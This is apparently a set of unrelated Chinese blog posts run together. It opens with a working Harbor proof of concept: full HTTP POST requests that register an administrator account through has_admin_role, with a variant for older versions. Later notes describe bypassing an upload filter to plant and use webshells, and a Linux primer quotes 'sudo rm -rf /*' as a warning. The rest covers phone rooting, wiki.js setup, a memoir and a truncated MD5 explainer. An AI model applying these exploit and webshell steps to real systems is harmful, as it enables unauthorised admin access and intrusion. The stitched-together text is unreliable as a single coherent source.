在攻防中，遇到直接拿poc怼，结果返回json有问题，注册失败？
网上大部分poc都是直接上has_admin_role":true，但在低版本中，user结构体中是int值，所以poc为：has_admin_role":1

什么是harbor

先了解一下harbor：Harbor是一个用于存储和分发Docker镜像的企业级Registry服务器，通过添加一些企业必需的功能特性，例如安全、标识和管理等，扩展了开源Docker Distribution。

作为一个企业级私有Registry服务器，Harbor提供了更好的性能和安全。提升用户使用Registry构建和运行环境传输镜像的效率。

影响范围

Harbor1.7.6之前版本和Harbor1.8.3之前版本

高版本漏洞

• 注册时加has_admin_role":true

Post 注册，抓包，post内容加上

1
2
3
4
5
6
7
8
9
10
11
12
13

POST /api/users HTTP/1.1
Host: 127.0.0.1
Content-Length: 131
Accept: application/json
Origin: http://127.0.0.1
User-Agent: Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14
Content-Type: application/json
Referer: http://127.0.0.1/harbor/sign-in
Accept-Language: zh-CN,zh;q=0.9
Cookie: sid=5bb9aad90164bd2ed5274edaf20f9c81
Connection: close

{"username":"mrhonest","email":"impdx@qq.com","realname":"mrhonest","password":"111111Aaa","comment":"11111","has_admin_role":true}

低版本harbor 任意管理

• 在hvv中发现poc返回有问题，版本为1.2.0
• 翻github，1.2.0为之前发布的版本，我们直接看源码分析

想一下为什么会有这个漏洞，无非是Post请求包中的has_admin_role值被接受了，没有经过校验。

• 那我们直接找hasadminrole，直接找user结构体(go中结构体和java的类相似)里面有啥，有啥值。

哎？我们发现他居然不是boolean值，而是int值。那么我们想一下，在语言中，如果判断一个值为真假，就像C没boolean，那int=1就是真，所以我们把poc稍做修改

poc

注册之后抓包，添加"has_admin_role":1，不要直接用下面的，因为cookie不一样，建议抓包修改添加"has_admin_role":1。

1
2
3
4
5
6
7
8
9
10
11
12
13

POST /api/users HTTP/1.1
Host: 127.0.0.1
Content-Length: 131
Accept: application/json
Origin: http://127.0.0.1
User-Agent: Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14
Content-Type: application/json
Referer: http://127.0.0.1/harbor/sign-in
Accept-Language: zh-CN,zh;q=0.9
Cookie: sid=5bb9aad90164bd2ed5274edaf20f9c81
Connection: close

{"username":"mrhonest","email":"impdx@qq.com","realname":"mrhonest","password":"111111Aaa","comment":"11111","has_admin_role":1}

ok，任意用户注册成功。

利用点：可以先docker login进去，pull下docker环境找敏感信息

1
2
3
4
5
6
7
8
9
10
11
12

本文记录impdx遇到的问题与解决方案，其中机子是S9+，从8.0升级到了10，所以安卓中的某些机制变化了，比如，从converted 转到2SI ramdisk SAR

magisk给出的方案是System-as-root，如果不加上前面步骤，会导致卡屏logo，假砖，主要思路是刷入twrp之后去解锁avb以及Vaultkeeper验证使用Multidisabler，再刷入klabit87 的内核。

原理参考xda大神https://forum.xda-developers.com/t/pie-10-11-system-as-root-multidisabler-disables-encryption-vaultkeeper-auto-flash-of-stock-recovery-proca-wsm-cass-etc.3919714 在下其实不清楚到底是vaultkeepr/Process authentication (a.k.a. proca)/Stock recovery auto-restoration哪一个在启作用，因为途中尝试已经把avb禁用了。但可以用大神的脚本一键关闭

以及https://forum.xda-developers.com/t/kernel-q-g9650-g9600-klabit-kernel.3900816/
 klabit87大神的内核

通过刷入maisk.zip获取的，官方推荐用修改AP_....tar.md5使用odin3刷入，但实测刷入修补过的tar有概率卡第一屏logo，卡刷则无问题。

其实仔细看magisk文档已经写的很清楚，在bootload那边有介绍解锁记得把vaultkeepr禁用。

下载必须资料

原始链接（国内可能打不开）

• TWRP : https://www.androidfilehost.com/?w=files&flid=329265
• klabit87 kernel 带magisk:https://github.com/klabit87/android_kernel_samsung_sdm845/releases/download/V6.5/g9650_klabit_gsi_V6.5.zip
• magisk:https://github.com/topjohnwu/Magisk/releases/download/v26.1/Magisk-v26.1.apk
• odin3:https://odindownloader.com/wp-content/uploads/odin3_v3.14.4.zip
• 三星usb驱动:https://developer.samsung.com/sdp/file/2ad30860-0932-44e3-bf63-765a5cfa1010 官网：https://developer.samsung.com/android-usb-driver
• ROM下载器:https://samfirmtool.com/samfirm-v0-5-0

蓝奏云

https://wwi.lanzoup.com/b012yl25g
密码:hmup

rom 下载

1.打开 SamFirm
2.Region为CHC，国行的意思，model就是型号，auto勾上，check update，会检查出适合的ROM包，点download下载就可以了，下载后是zip，解压一下。
（小知识：三星的ROM包为定制，tar.md5格式，三星无fastboot模式，准确说改为了download模式）

解锁bootload （会清除数据，记得备份）

1.解锁bl，点开设置-关于手机-软件信息-点击编译编号5次，进入开发者设置

2.记一下，你的基带版本，比如我的是 G9650ZCS9FVA4 (后面有用)

3.找到开发者设置中的OEM解锁，直接点开，需要重启设置并清楚数据

4.完成，S9+只需要上面步骤就可以了，20年之后的还需要进入download模式长按音量上键，但S9+不需要。

使用odin3 刷入TWRP

• 点开options，auto reboot取消自动重启
  

1.刷入一遍rom包，AP选带ap的，以此类推，csc选择无home

• 如果版本一致，可以不用刷入rom，不用管userdata
  2.单AP刷入twrp.tar包，注意格式为tar
  

3.刷入完成按住音量下+Bixby+电源键重启，黑屏一瞬间换音量上+bixby+电源键

4.点wipe -> format data 输入yes，格式化data，接着重启到recovery

5.TWRP 完成！要进行下一步可以不用重启

使用twrp旧方法刷入magisk

1.TWRP中选择Advanced > Terminal, type: multidisabler，可以输入mul然后按tab自动补全，回车，出现finsh就是完成

2.点开mtp，用电脑传输g9650_klabit_gsi_V6.5.zip，magisk.zip，magisk.apk

3.点install刷入g9650_klabit_gsi_V6.5.zip,接着刷入magisk

4.系统中安装magisk.apk

5.会弹出提示，点确认就可以了，期间重启正常，如重启后还需点确认就点。我点了俩次magisk正常运行

6.完成

后面就可以愉快的使用lsposed了。

总结

三星还是比较麻烦的，其他手机一般直接解锁bootload后，可以通过fastboot直接刷入修补后的boot.img，非常方便。最近几款新的kernelsu，superkernelroot也是非常有意思。都是通过内核层面的root。其中superkernelroot值得研究一下，好似是今年刚开源不久。

0x00 前

我，是在一个南方十八线小县城土生土长的。准确说是农村hhh，只不过后来到城里了，生活也不咋样，总体还算幸福。住过别人的储物间，也住过烈士林园旁的一间房间(真的只是一间，吃饭烧饭都在，至于厕所只能在公厕)，因它们都比较便宜。
记得母亲身体不好，父亲一人撑起一个家。现在想都不敢想，居然有一整间套房居住，虽然小，但足以。

小学和初中就不多过述，实际上我也忘了许多，依稀记得初中当时有幻影pin，水滴跑pin，跑包。还有一些刷钻，刷vip，刷机，各种原生rom，当时的酷安嘎嘎牛，各路大神，还在suroot的阶段，4.x，其实我还有部2.3.5的机子，那是我安卓版本最低的机子。当然还有游戏，这也导致我从不关心学习，只对科学一门感兴趣。当时好似科学单科180，我可以考150？忘了hhh。

县里只有几所高中，可惜的是，向来学习成绩不好。依稀记得当时中考有好似60%以上的同学只能去职业高中/技校/企业办高中，而我正是其中一员。

到了职高，其实与本科也无缘了，高中幸遇恩师，给我创造了很多不敢想象的条件。在职高中，我可以接触到机房，机房的还原卡，也有一天到晚研究电脑的时间，当时特别对linux感兴趣，试着arch/centos/debian/deepin,可笑的是当时我把debian听成了deepin。中途学了些python，vb，都是些变量赋值循环哈哈哈。当时我有一间小小的实验室，无聊的时候，夜自修也总是在那边捣鼓着各种各样的关于电脑的东西，还搭建了第一个博客，学会了基本的修电脑。当时就想着找个电脑店或者电脑公司，干干修电脑修手机的活，一辈子就这么过去，现在想来真是幸运。

不出意外，就要出意外，高中时病了一年。那一年是深刻的，是幸运的。本该留级，也多亏恩师照顾。最后可以顺利继续上学，继续职高考。

恩师

对于我的恩师，他姓鲍，一日为师，终身为父。当然也有其他良师益友，比如曾教我计算机理论的吕老师，是她让我可以面对台下无论多少人，都可以面不改色的说话。高中的老师，都很好，都很不错。遇到这群老师，是我的幸运。

初中也有不错的班主任，他姓方，从不放弃任何一个学生。授课同时也教我们一些做人的道理。从最差的班级，带成最好的班级。不过我则是倒数，实在是让老师们操心了。
初中的记忆是比较深刻的，失去过朋友，是生死离别，我们永远也不不知道意外和明天哪个会先来。甚至都没来得及打个招呼。

其实，我更愿换一种称呼，称他们为先生。他们是真正教书育人的先生。

0x01 大专

大一

不出意外，考上了一个大专。当时想的特别简单，随便报。
于是乎，人生的第一所大学。
依稀记得，刚开学有位头发稀少的老师来跟我们说软件技术的课程定位，当时瞄了一眼杂而不精，切没有linux，顿时开怼。后来才知，这是我们当时的教学主任。
开学时普普通通，我一心想好好学习刚开始，追随大众潮流，却不想竞选班委一个都没选上。如此想起之前，我要搞竞赛，我要打ACM，我要当一名合格的程序员。途中认识了一位好友，虽不是本专业，但志同道合。也是后来ACM的队友。
于是狂学c语言，半夜和好友在校内排行榜上的一妹子刷半天榜一，可那些都是简单的水题，什么输入输出，韩信点兵罢了。学了一学期，晚上就到图书馆咖啡厅敲代码，有夜自修就在夜自修敲代码。半夜也在敲。

过了一学期，3月，是个重要的转折点。老师们开始招新，但竞赛是4.16号就开始hhh。当时有很多人报名，选拔赛，我一听说有竞赛，急忙问了工作室地点，直接把台式给搬了过去，一扔，一坐，就开始敲代码。

很遗憾，以我当时的成绩是应该不具备进入的资格。经过正常普高的学生，数学比我好的太多了，思维也比我敏捷。老师看我一天到晚，中午午休，晚上吃晚饭，下课时间都在。给了我一个名额。

进入工作室后，有俩位学长，一位是aa大三准备升本，每天我都可以看到他7:30到，晚上9点准时走。还有一位是bb学长，大二同样准备竞赛。比我可强太多了，我的队友也比我强。

时间很快，第一次竞赛依然是没有什么输出，靠着队友混了个省三。
竞赛就不多讲了，可以看我的竞赛之路

同时，舍友也发生了有趣的变化，以为A同学喜爱游戏开发，就如陈丹青所说：“喜欢游戏开发我操这拦不住的”，他就来学习C#和unity了，为啥学这俩呢，对面我看有个工作室正是unity。还有位B同学，买了几k的课学建模，想来刚好他们可以组一个队伍上去打。还有C同学，本是想着去Android竞赛，可事与愿违。于是便在专升本的道路上一路狂奔。其实我们是6人寝，还有DE同学就在摆烂了。

大一就这么过去了。

大二

大二的时候刚开学，脑子一热，想起以前刷钻那时候，卧槽，我想干网络安全，我想当大黑阔，就如陈丹青所说：“喜欢当大黑阔我操这拦不住的”。泥煤的，队友给我找到了网络安全工作室，不过只有大三一人，之前也没人，也没拿过奖。比起ACM实力纵然弱了不少。但还是为了梦想，义无反顾一头脑扎进去了，10月就开赛，而我9月多刚进去。依稀记得当时一个base64-base32反复解密就有一题flag，就有一个省三。

之后我就有些飘飘自然了。
引用 redateam-notes

例如会把所谓成为一名黑客想象成一种至高的事情， 觉得自己的职业和其他的职业与众
不同， 觉得自己选择了搞安全， 走的路子就和其他搞代码的人不一样了。
再加上外界电影， 电视， 国内武侠小说的渲染， 自媒体人的烘托， 来一两下还好， 来多
了， 妈的， 还真以为自己有点东西了。
这种自认为与众不同的心态， 就是外面的壳。
当沉浸在壳中的时候， 就像逆向的时候， od 调代码， 断点断在了壳上， 壳也做的挺好
的， 调了半天， 觉得自己真牛逼， 实际上壳都没脱掉， 源码都没见到。

妈的， 还真以为自己有点东西了。这个心态是真的傻逼自大。

之后就是新生来喽，之前没有招新。这次一间间教室去串门招新。对了还有游戏开发工作室。舍友已经成功去游戏开发了，我的队友也去了，他说，我的梦想是开发游戏。梦想还是要有的，不然和咸鱼有什么区别。

同时着手工作室建设，搭建wiki
也有了acm的oj，ctf的ctfd。
至此。

大三

很快就大三了，快如初中至高中，高中至大学。
ACM我一人，CTF我一人。便要开始升本了。
幸运的是，大一学弟们有很不错的苗子，比我可强太多了。
大三就没有什么了。

2022.10.4

0x0F

无论是什么时候，我都是一个追赶者，追赶者前人的脚步。打竞赛也好，学习也罢。
我从来不是一个优秀的人。我这人吧，可以说全是运气。运气好接触到了手机，运气好接触到了好的先生，运气好，进了竞赛，运气好，靠着队友拿了奖，又是靠这运气，拿了一些奖。

现在又在升本中挣扎，这么差的基础，其实我心里也没底，但总得学，总得往前。

从来没有准备好，也不会有准备好的时候。总得往前走。

为什么要写这篇文章？

• 最近心境有些乱，其根本无非是时间恐慌。也有太多东西本不属于我，人贵有自知之明。
• 很多东西，给你这样的舞台，你也可以拥有那一切。
• 很多东西，写出来了，反而就像吐出一口气，身轻如燕。

起因

• 发现竞赛的弱校，无论是CTF/ACM亦或着是其他的竞赛。都有几个痛点
  • 出现人才断层，即俩三届无人可用 ^ff33c2
  • 出现知识断层，没人也就无人传授知识点
• 第一种情况我们无法避免，只能招新时扩大宣传力度。
• 第二种完全可以避免，如何传授知识，除了面对面。那便只有文字.

突然某一天意识到有wiki的存在

那便整一个

wiki的选择

• 语雀
  • 优点：在线，免费，美观
  • 缺点：团队版需付费
• wiki.js
  • nodejs
  • 优点：强大，美观，权限控制严格，脱离传统文件夹结构
  • 缺点：2h2gserver起步，
• MediaWiki
  • 优点：强大
  • 缺点：折腾，太折腾
• DokuWiki
  • 优点：轻量化，部署快
  • 缺点：丑，且权限不严格
• MinDoc
  • 优点：美观，部署快，轻量化
  • 缺点：官网的css都失效了，权限不够严格
• BookStack
  • 优点：强大
  • 缺点：功能多余，丑

还有很多不一一列举了,最终选择了wiki.js

理由是权限严格，同时刚好wiki可以给多个工作室用。多个竞赛用来分享知识点。

服务器的选择

• 选择了海外腾讯云。搞活动便宜了一些
• 为何不选国内？备案太过于繁琐。
• 为何不选国外主机厂商？国外厂商更贵233

上线wiki.js

• 轻量服务器，选择的是宝塔+centos

1. 首先安装docker。可参考官网docker安装教程
   https://docs.docker.com/engine/install 在下面有个列表，选择对应的系统，之后复制粘贴即可，这里以[centos](Install Docker Engine on CentOS | Docker Documentation)为例：

1
2
3
4
5
6
7

sudo yum install -y yum-utils

sudo yum-config-manager \
--add-repo \
    https://download.docker.com/linux/centos/docker-ce.repo

sudo yum install docker-ce docker-ce-cli containerd.io docker-compose-plugin

测试docker，运行以下俩条命令，显示hello world可以了。

1
2
3

sudo systemctl start docker

sudo docker run hello-world

2. 参考官方安装指南，

• 安装在 Ubuntu 18.04 / 20.04 / 22.04 LTS |维基.js (requarks.io)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

# Create installation directory for Wiki.js
mkdir -p /etc/wiki

# Generate DB secret
openssl rand -base64 32 > /etc/wiki/.db-secret

# Create internal docker network
docker network create wikinet

# Create data volume for PostgreSQL
docker volume create pgdata

# Create the containers
docker create --name=db -e POSTGRES_DB=wiki -e POSTGRES_USER=wiki -e POSTGRES_PASSWORD_FILE=/etc/wiki/.db-secret -v /etc/wiki/.db-secret:/etc/wiki/.db-secret:ro -v pgdata:/var/lib/postgresql/data --restart=unless-stopped -h db --network=wikinet postgres:11


docker create --name=wiki -e DB_TYPE=postgres -e DB_HOST=db -e DB_PORT=5432 -e DB_PASS_FILE=/etc/wiki/.db-secret -v /etc/wiki/.db-secret:/etc/wiki/.db-secret:ro -e DB_USER=wiki -e DB_NAME=wiki -e UPGRADE_COMPANION=1 --restart=unless-stopped -h wiki --network=wikinet -p 80:3000 -p 443:3443 ghcr.io/requarks/wiki:2


docker create --name=wiki-update-companion -v /var/run/docker.sock:/var/run/docker.sock:ro --restart=unless-stopped -h wiki-update-companion --network=wikinet ghcr.io/requarks/wiki-update-companion:latest

ufw设置一波,也可以用iptables，firewall都可以。

1
2
3
4

sudo ufw allow http
sudo ufw allow https

sudo ufw --force enable

3. 启动wiki

1
2
3

docker start db 
docker start wiki 
docker start wiki-update-companion

这时候就可以访问了，ip直接访问，默认是只有80端口

4. 启用https

• 这里用Let’s Encryp 来演示，还是参考官网文档

1
2
3
4
5
6
7
8
9

docker stop wiki
docker rm wiki

docker create --name=wiki -e LETSENCRYPT_DOMAIN=wiki.example.com -e LETSENCRYPT_EMAIL=admin@example.com -e SSL_ACTIVE=1 -e DB_TYPE=postgres -e DB_HOST=db -e DB_PORT=5432 -e DB_PASS_FILE=/etc/wiki/.db-secret -v /etc/wiki/.db-secret:/etc/wiki/.db-secret:ro -e DB_USER=wiki -e DB_NAME=wiki -e UPGRADE_COMPANION=1 --restart=unless-stopped -h wiki --network=wikinet -p 80:3000 -p 443:3443 ghcr.io/requarks/wiki:2

# 注意：，将admin@example.com 换成你自己的邮箱，将wiki.example.com换成你的域名。

# 最后启动即可
docker start wiki

注: 访问需要手动加上https，如果想直接重定向，需要进wiki后台更改，有可视化GUI界面

后续配置

1. 分配权限

• 需求：
  • 内部wiki，外部不可以访问
  • 分ACM,CTF,游戏开发三个大类
  • 所有人都可以查看所有文档，但只能修改自己工作室的。
  • 需一个普通管理增加用户和分配权限

以下是权限分配

• 关于group（组）和页面规则，可以康康官网的文档
• 个人理解，页面规则是组的的详细配置，具体配置。一个组里面更详细的分配，某个目录可以访问/修改，某个目录禁止访问/修改
• w:write(写入权限) r：read（读取权限）
• 组可以定义成员的具体权限，具体可以访问/编辑哪个目录。
• 用户可以加入多个组，叠加权限

实现以上需求看图

2. 关于文件目录与传统目录的区别

• 愚见：不用像传统目录先创建文件夹，在创建文件。直接创建文件

具体请看 官方文档

更多功能

• 后台具有很多功能，包括主题

1. 备份

• 注意备份：只备份md文件。
  1. 使用git进行备份。由于是docker安装，所以直接用ssh方式，私钥填入contents就行
  2. sftp，可以备份到其他server上

2. 渲染
   1. 支持katex，注意有小bug，遇到x^{x^3}这种情况需要改为x^{{x^3}},因为wiki的多层渲染导致的历史遗留问题。
3. 升级
   1. 只需在后台一键升级即可

• 一只笨鸟的大专一年竞赛生涯。

4月底，这次ACM打完了，竞赛生涯几乎结束了。无论是CTF还是ACM亦或着是蓝桥/信息安全管理与评估等。

身体也越来越发不舒适了，大致还需俩次小手术。

0x01

说说ACM吧，来ACM已有一年。
21年3月，当时听说有ACM竞赛工作室，马上就把我那台式给放在了工作室。考核时，我是最后一名卡线而进入工作室的。当时想的，就算不能打竞赛，也要学习，无论在哪里。（其实我很清楚，应该是老师给我放了点小水，不然我不可能来竞赛。）

学习了一个月，队友很给力，把签到题写完拿了一个铜。而我当时苦于dfs，为了n皇后问题学了一周也没太懂，真是蠢到家了。可奇怪的是，那一年只有一个学长和我们这支队拿了铜。后自想来，我也不过是没拿奖的水平罢了。

时隔一年，这次却没有拿奖意料之中。中途的事情，一言难尽。有主观也有客观。

我对ACM是有感情的，我看到很多强校，他们有oj，有资源，有老师，有学校的支持。我们弱校又该如何，根本无法竞争。萌发了OJ的想法，资源暂时用acwing替代，学校的支持不敢渴求。21年的学弟们也成功上线了oj，慢慢在放题目。我想，或许可以下一届举办一场ACM校赛

我的数学只有初中水平。没错，数学这种水平还敢来打竞赛，因为是弱校，也没有多少人竞争。所以重在坚持，中途有其他同学的天赋和智商都比我高，毫不夸张的说他们没有中途放弃，最终都会拿到奖。甚至我连竞赛名额都没有。

0x02

来到21年的十月份，接触到了ctf，学了一个月。写了一题签到题，依然是铜牌。
但ctf也是如此，我们是弱校，什么都没有。没有到什么程度么，比ACM还没有。整个学校只有大三一位学长在苦苦支撑。虽然ACM也是hh。于是看到ctfd，也有不错的学弟上线了第一款ctfd。我想，或许可以下一届举办一场CTF校赛。

弱校的资源少的可怜，学的学生也是，在我这届ACM只有包括我俩个人，CTF只有我一人。但好在现如今他们的人数在慢慢变多。

直到现在，信息安全堪堪入门罢了。当然也确定了我所热爱的职业。也算是迟来的幸运，相比于大佬们的初中开始入门信安，我却到了大二才堪堪赶上。

0x03

专升本，绕不开的话题，这个社会对于学历的歧视。毫无办法，学历洗白私以为只有考研一条路，但还需看行业。

或许以我的基础无法顺利专升本，尽力而为。有时候挺怕学的太努力把自己送进医院hh。如专升本不成，那便只有一条路，考研。

b级没过，数学初中水平。没有什么捷径，只能一步一个脚印去学。

依稀记得大型甲方如银行招聘，四年制全日制本科及以上。

0x04

我希望我的学弟们他们进来可以有好的资源，可以和那些强校正真的去较量。而不是用资源去较量。也不想他们像我一样受资源所制。也不要像我一样，走这么多弯路。如果热爱，希望你们可以尽快进入行业里。无论是信息安全还是开发，还是运维测试。

大专里，我们需保持初心。濯清涟而不妖，出淤泥而不染。即便有花花世界的各种诱惑，我们也需要沉下心来慢慢搞技术，补基础。

• 正在考虑内部wiki平台，可以更长久的沉淀知识。
• 已经建成内部wiki，采用wiki.js。不得不说wiki.js是真的很强大。学弟们也很给力，俩三天传了一百多遍文章了。

0x05

• 大专里的竞赛，三等二等只需稍稍努力，沉下心来学习就行。
• 如果是CTF/ACM的一等，需要一定的时间沉淀和实力。（ACM可以特等可以试试区域赛，CTF可以试试西湖论剑等大型竞赛，业内非常认可。）
• 很遗憾，我最多的就是省三了hh，目前来看挺失败的。不过这倒也正常，本身就是一个比较笨的人，还去打竞赛hhh。俗话笨鸟先飞，而我这只笨鸟晚飞，还飞的慢。能捉到虫就不错了。

• 80

  • docker环境 大马看目录有.dockerenv

• 888 phpmyadmin

• 8888 宝塔后台，尝试访问因无777权限

• 22

  • open-ssh据钟馗之眼/quake/namp得知

• 21

  • ftpd据钟馗之眼/quake/namp得知

• 8080

  • vulhub docker

• 8090

  • vulhub docker

    2.尝试切入点

    由于各大搜索引擎没有过多的收录，所以被迫采取主动扫描

• Web，80端口直接上扫描器

• 下载www.zip看看源码（应该是某个师傅打包的？那地方还有webshell）,然后都访问一遍康康

• 先去admin看看，发现有管理员登录和普通登录（弱密码没有尝试）

• 注册新用户，看到可以更改头像，想到文件上传，尝试上一句话木马。

看到有后缀检测，经多次尝试确认是Content-Type 检测
于是bp抓包绕过

尝试了很多次依然不行，突然想起有源码

• 接着会发现F12里面的地址无法访问，于是去查看之前源码，

虽然没学过php，但根据大概语法以及注释得知大图后面加上了big，而小图（F12看到的）没有big

于是乎访问路径+big.php 发现上马成功

蚁剑进行链接

直接传大马

打开大马

接着从源码和目录文件中翻阅

得知数据库配置文件（不知这一个文件）

连数据库

注意：有俩个数据库

至此web后期不会了，提权没太多了解由于是linux，大马自带的提权也无法使用，至于反弹msf和shell，无公网ip的机器可操作，文件只有www:www组的权限也就是655.

（通过日志可以看到其他师傅的方法）

3.尝试FTP/SSH

• FTP没有开启匿名登录，看到有CVE但不会利用
• SSH版本较低有CVE，但不太会用

4.没有尝试的攻击

• 无授权：钓鱼，社工
• 因为太菜：docker逃逸，msf联动，反弹提权，内网扫描跳板等

请注意，大部分知识点都可以在archwiki中找到

archwiki是linux最好用，最全的wiki之一，请学会使用/阅读

不知如何分类

1
2
3
4
5
6
7
8
9
10
11
12

sudo 提升到root运行权限
ifconfig 查看ip 没有包无法运行 最小化安装可能不带
ip add 查看ip 一般linux都自带
****
查看命令的参数，重要
man
help
****

ctrl+c  中断
ctrl+z挂起，如进入python ctrl+c 没用作用

系统开关机

关机

• shutdown -h now 立刻关机（常用）
• halt
• poweroff
• shutdown -h 10 10分钟后自动关机

重启

一般我就用着俩

• reboot
• shutdown -r -h

改源

镜像源：tuna（清华），中科大，163，阿里，搜狐，腾讯，华为

sync表示源在同步中

• debian系

1
2

sudo vim /etc/apt/sources.list

• centos系

1
2
3
4
5
6
7
8

sudo sed -e 's|^mirrorlist=|#mirrorlist=|g' \
         -e 's|^#baseurl=http://mirror.centos.org/$contentdir|baseurl=https://mirrors.ustc.edu.cn/centos|g' \
         -i.bak \
         /etc/yum.repos.d/CentOS-Linux-AppStream.repo \
         /etc/yum.repos.d/CentOS-Linux-BaseOS.repo \
         /etc/yum.repos.d/CentOS-Linux-Extras.repo \
         /etc/yum.repos.d/CentOS-Linux-PowerTools.repo \
         /etc/yum.repos.d/CentOS-Linux-Plus.repo

• arch 系

1

/etc/pacman.d/mirrorlist

源更新，安装软件

• debian

1
2
3
4
5
6
7

apt update //更新源
sudo apt upgrade //升级软件包
apt list --upgradeable //列出可更新的软件包
apt install xxx //安装软件包
sudo apt autoremove xxx//删除软件包
sudo apt show xxx //显示包的版本依赖等

• arch

1
2
3

pacman -Syyu //更新
pacman -S xxx //安装
paru //用法一样，AUR

文件与目录管理

• ls 列出目录及文件名

• cd 切换目录

• pwd 显示目前的目录

• mkdir 创建一个新的目录

• rmdir删除一个空的目录

• cp 复制文件或目录

• touch 创建一个文件

• rm 删除文件或目录 千万别sudo rm -rf /*

• mv 移动文件与目录

• cat 查看文件

• unzip 解压zip文件等具体看man/help -v查看解压，后面直接跟压缩包直接解压

VIM && nano

• Vim 是一个功能非常强大，且具有很强扩展性的编辑器。你只要知道他很牛就对了

• 中文文档https://yianwillis.github.io/vimcdoc/doc/help.html

• 退出 :q

• 保存 ：w

• 保存退出：wq

• 强制执行：！

• 强制保存退出：wq!

• 插入文本

  • i当前位置插入
  • o下一行位置插入
  • O上一行位置插入
  • I 光标所在行的最前面插入
  • a光标后插入
  • A行尾插入

• u撤销

• ctrl+r 撤销上一次撤销的行动

• 复制粘贴 y和p,有y10j这种用法，很棒

有兴趣可以看看https://www.runoob.com/linux/linux-vim.html

• nano更偏向于初学者
• ^代表ctrl
• M代表alt
• 看help和下面那些基本操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

Ctrl+G，显示帮助文本

Ctrl+O，保存当前文件

Ctrl+R，读取其他文件并插入光标位置

Ctrl+Y，跳至上一屏幕

Ctrl+K，剪切当前一行

Ctrl+C，显示光标位置

Ctrl+X，退出编辑文本

Ctrl+J，对其当前段落（以空格为分隔符）

Ctrl+W，搜索文本位置

Ctrl+V，跳至下一屏幕

Ctrl+U，粘贴文本至光标处

Ctrl+T，运行拼写检查

Ctrl+_，跳转到某一行

ALT+U，撤销

ALT+E，重做

ALT+Y, 语法高亮

ALT+#，显示行号

常用检测网络是否通顺

• ping 默认ICMP

• TCPping 走tcp ping

• curl 获取web服务器文件，直接在终端显示，比如curl www.baidu.com

linux 权限

（稍微带一下）
有兴趣可以去Google

• chmod +x xxx 给予运行权限
• chmod 777 xxx 一般不这么写，给予任何人的所有权限，读写执行

1
2
3

u user 文件所有者
g group 文件所有者所在组
o others 所有其他用户

• umask 可以了解一下

Git基本使用

• git init git 初始化
• git clone //克隆项目到本地
• git add . //添加所有项目到目前分支
• git commit -m "更新说明" //把内容说明添加到本地仓库
• git push //将本地仓库提交上去
• git pull //将远程仓库同步到本地仓库
• git diff //比较暂存区和本地文件区别
• git config // git配置，具体看参数
• git log // 查看历史提交记录
• git status // 查看当前状态
• git branch xxx // 创建分支
• …具体请参考github/git文档 （可以适当了解SVN，gitlab，版本控制，分支等）

linux 跑python

• python 默认使用python2

• python3默认使用python3

• pip3 //建议使用镜像源，tuna有源，可用-i参数，也可以修改全局

（非必须）如使用linux为主系统可看

debian（kali） 安装中文输入法

1
2
3
4
5
6
7
8
9

sudo apt fcitx5
sudo apt install fcitx-googlepinyin
apt update -y && apt install xfonts-intl-chinese ttf-wqy-microhei ttf-wqy-zenhei
sudo dpkg-reconfigure locales
# 进入图形界面，选中en_US.UTF-8 UTF-8和zh_CN.UTF-8 UTF-8（空格是选择，tab是切换，*是选中）
//选择语言，建议首选en_us.utf8,就是英文，其次中文，因为英文对某些软件支持较好。
apt clean && apt update -y

ctrl+space切换输入法 //可以通过设置更改

gcc

1
2
3
4

gcc -o 1.c 1

./1
//g++ 类似，可参考参数开启O2优化

gdb（暂时无）

Linux 更换/编译内核

编译内核请参考另一篇文章：https://www.impdx.vip/posts/1017/ 都是基于debian，差别不是很大

安装QQ等国内软件可参考archwiki

1
2

https://wiki.archlinux.org/title/Tencent_QQ_(%E7%AE%80%E4%BD%93%E4%B8%AD%E6%96%87)
如果没找到合适的就去github搜索，很多基于webqq开发的包。

linux桌面

• gnome

• kde

• xfce

• lxqt

• …等

• 机器配置高首选kde，花里胡哨美化效果好

• 其次gnome上手即可用，

• 机器配置差建议xfce，lxqt等

后期看情况更新本文

• 刚装好arch因为keepass选择了webdav，所以需要坚果云同步。

• 报错为 Nutstore meets some problems. You may try to restart it to fix. If it still

• 之后同步直接闪退，由于log加密所以发邮件给官方，官方回复，配置中文编码和字体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

-----------
OS: Arch Linux x86_64
Kernel: 5.14.16-arch1-1
Uptime: 1 hour, 44 mins
Packages: 951 (pacman)
Shell: zsh 5.8
Resolution: 1920x1080
DE: Plasma 5.23.3
WM: KWin
WM Theme: Breeze 微风
Theme: Breeze Light [Plasma], Breeze [GTK2/3]
Icons: [Plasma], breeze-dark [GTK2/3]
Terminal: konsole
CPU: AMD Ryzen 9 3950X (32) @ 3.500GHz
GPU: NVIDIA GeForce GTX 1060 6GB
Memory: 6057MiB / 64220MiB

解决方案

配置中文编码，安装中文环境

• 编辑locale.gen文件

1

vim /etc/locale.gen   

• 1.将以下行去掉注释

1
2
3
4
5

zh_CN.GB18030 GB18030
zh_CN.GBK GBK
zh_CN.UTF-8 UTF-8
zh_CN.GB2312
zh_TW BIG5

• 2.重新编译locale-gen

• 3.安装中文字体pacman -S wqy-zenhei (参考archwiki https://wiki.archlinux.org/title/Fonts_(简体中文))

原理

• MD5特点
  • 唯一性，是有损加密，不可逆向，现有破解都是用撞库实现
  • 不管多长的字符串,加密后长度都是一样长
  • 唯一性：一个文件,不管多大,小到几k,大到几G,你只要改变里面某个字符,那么都会导致MD5值改变.
    作用:很多软件和应用在网站提供下载资源,其中包含了对文件的MD5码,用户下载后只需要用工具测一下下载好的文件,通过对比就知道该文件是否有过更改变动.
  • 不可逆性
• MD5消息摘要算法，属Hash算法一类。MD5算法对输入任意长度的消息进行运行，产生一个128位的消息摘要。
• MD5的用处不是用来加密信息解密信息的，个人观点：用来做一个全局唯一标记，比如impdx或者图片文件产生的md5永远只会是一个值，我们不用去对比文件或者文本是否相同，只需要判断md5是否相同就可以判断了。

算法原理

1、数据填充

对消息进行数据填充，使消息的长度对512取模得448，设消息长度为X，即满足X mod 512=448。根据此公式得出需要填充的数据长度。

填充方法：在消息后面进行填充，填充第一位为1，其余为0。

2、添加消息长度

